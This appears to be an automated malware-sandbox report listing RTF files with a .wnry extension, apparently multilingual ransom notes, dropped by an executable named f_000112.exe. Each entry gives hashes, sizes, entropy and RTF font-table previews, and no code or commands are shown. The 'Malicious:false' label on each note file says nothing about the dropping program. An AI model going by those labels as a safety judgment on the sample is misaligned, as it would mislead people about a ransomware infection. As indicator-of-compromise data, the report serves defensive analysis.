                                                                                                                                                                              SHA-512:941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhim

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_filipino.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37580
                                                                                                                                                                              Entropy (8bit):5.0458193216786
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdi2MG2AGsi6p07i/eo75Y3kmA31dv61QyR:Sw3BHSWjHdGG2Axa7iGZrS14N
                                                                                                                                                                              MD5:08B9E69B57E4C9B966664F8E1C27AB09
                                                                                                                                                                              SHA1:2DA1025BBBFB3CD308070765FC0893A48E5A85FA
                                                                                                                                                                              SHA-256:D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324
                                                                                                                                                                              SHA-512:966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_finnish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):38377
                                                                                                                                                                              Entropy (8bit):5.030938473355282
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2oG2l1glOmeo75Y3kmA31dv61QyB:Shef3jHdMG2l1AO3ZrS14l
                                                                                                                                                                              MD5:35C2F97EEA8819B1CAEBD23FEE732D8F
                                                                                                                                                                              SHA1:E354D1CC43D6A39D9732ADEA5D3B0F57284255D2
                                                                                                                                                                              SHA-256:1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E
                                                                                                                                                                              SHA-512:908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_french.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):38437
                                                                                                                                                                              Entropy (8bit):5.031126676607223
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdtW2IG2sjqMeo75Y3kmA31dv61Qyg:Shef3jHd0G2smJZrS14M
                                                                                                                                                                              MD5:4E57113A6BF6B88FDD32782A4A381274
                                                                                                                                                                              SHA1:0FCCBC91F0F94453D91670C6794F71348711061D
                                                                                                                                                                              SHA-256:9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC
                                                                                                                                                                              SHA-512:4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_german.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37181
                                                                                                                                                                              Entropy (8bit):5.039739267952546
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdN26G2VSA1Ieo75Y3kmA31dv61QyU:Shef3jHdfG2oe1ZrS14w
                                                                                                                                                                              MD5:3D59BBB5553FE03A89F817819540F469
                                                                                                                                                                              SHA1:26781D4B06FF704800B463D0F1FCA3AFD923A9FE
                                                                                                                                                                              SHA-256:2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61
                                                                                                                                                                              SHA-512:95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_greek.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):49044
                                                                                                                                                                              Entropy (8bit):4.910095634621579
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdc2oG2WWDFFG5BwKeo75Y3kmA31dv61QyM:Shef3jHdoG2NHG5BwLZrS14Q
                                                                                                                                                                              MD5:FB4E8718FEA95BB7479727FDE80CB424
                                                                                                                                                                              SHA1:1088C7653CBA385FE994E9AE34A6595898F20AEB
                                                                                                                                                                              SHA-256:E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9
                                                                                                                                                                              SHA-512:24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_indonesian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37196
                                                                                                                                                                              Entropy (8bit):5.039268541932758
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:Sw3BHSj2cLeT+sPzy3EFHjHdY2oG2pq32eo75Y3kmA31dv61Qys:Sw3BHSWjHdUG2pq3nZrS14I
                                                                                                                                                                              MD5:3788F91C694DFC48E12417CE93356B0F
                                                                                                                                                                              SHA1:EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7
                                                                                                                                                                              SHA-256:23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4
                                                                                                                                                                              SHA-512:B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}{\f54\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}@\'b1\'bc\'b8\'b2\'c3\'bc;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_italian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36883
                                                                                                                                                                              Entropy (8bit):5.028048191734335
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdR2AG2c/EnByeo75Y3kmA31dv61Qy9:Shef3jHdJG2cQZrS14R
                                                                                                                                                                              MD5:30A200F78498990095B36F574B6E8690
                                                                                                                                                                              SHA1:C4B1B3C087BD12B063E98BCA464CD05F3F7B7882
                                                                                                                                                                              SHA-256:49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07
                                                                                                                                                                              SHA-512:C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_japanese.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):81844
                                                                                                                                                                              Entropy (8bit):4.85025787009624
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SXZ0j2cKKwd1lksPzy3EFHjHdI2MG275rQeo75Y3kmA31dv61Qyr:SXZ0qbjHd4G2RNZrS14P
                                                                                                                                                                              MD5:B77E1221F7ECD0B5D696CB66CDA1609E
                                                                                                                                                                              SHA1:51EB7A254A33D05EDF188DED653005DC82DE8A46
                                                                                                                                                                              SHA-256:7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E
                                                                                                                                                                              SHA-512:F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}..{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 020306000001

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_korean.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):91501
                                                                                                                                                                              Entropy (8bit):4.841830504507431
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:768:Shef3jHdUG2NQcbxfSVZiG9jvi3//ZVrMQr7pEKCHSI2DsY78piTDtTa6BxzBwdY:SheiaDq
                                                                                                                                                                              MD5:6735CB43FE44832B061EEB3F5956B099
                                                                                                                                                                              SHA1:D636DAF64D524F81367EA92FDAFA3726C909BEE1
                                                                                                                                                                              SHA-256:552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0
                                                                                                                                                                              SHA-512:60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_latvian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):41169
                                                                                                                                                                              Entropy (8bit):5.030695296195755
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdcqH24G2ZN1EDCv3Apb0WD5gYV/S4L3rnzdeo75Y3f:Shef3jHdcMG2NpZrS14F
                                                                                                                                                                              MD5:C33AFB4ECC04EE1BCC6975BEA49ABE40
                                                                                                                                                                              SHA1:FBEA4F170507CDE02B839527EF50B7EC74B4821F
                                                                                                                                                                              SHA-256:A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536
                                                                                                                                                                              SHA-512:0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_norwegian.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):37577
                                                                                                                                                                              Entropy (8bit):5.025836823617116
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2MG2D7mgwroXeo75Y3kmA31dv61Qy5:Shef3jHdGG23KrDZrS14N
                                                                                                                                                                              MD5:FF70CC7C00951084175D12128CE02399
                                                                                                                                                                              SHA1:75AD3B1AD4FB14813882D88E952208C648F1FD18
                                                                                                                                                                              SHA-256:CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A
                                                                                                                                                                              SHA-512:F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                                                                                                                                                              C:\Users\user\Desktop\msg\m_polish.wnry

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):39896
                                                                                                                                                                              Entropy (8bit):5.048541002474746
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:SheftipUENLFsPzy3EFHjHdD2SG2gA8w8OJ6868jy8/8w8m8T848f8y858l8j8yv:Shef3jHdxG2KhuZrS14G
                                                                                                                                                                              MD5:E79D7F2833A9C2E2553C7FE04A1B63F4
                                                                                                                                                                              SHA1:3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF
                                                                                                                                                                              SHA-256:519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E
                                                                                                                                                                              SHA-512:E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
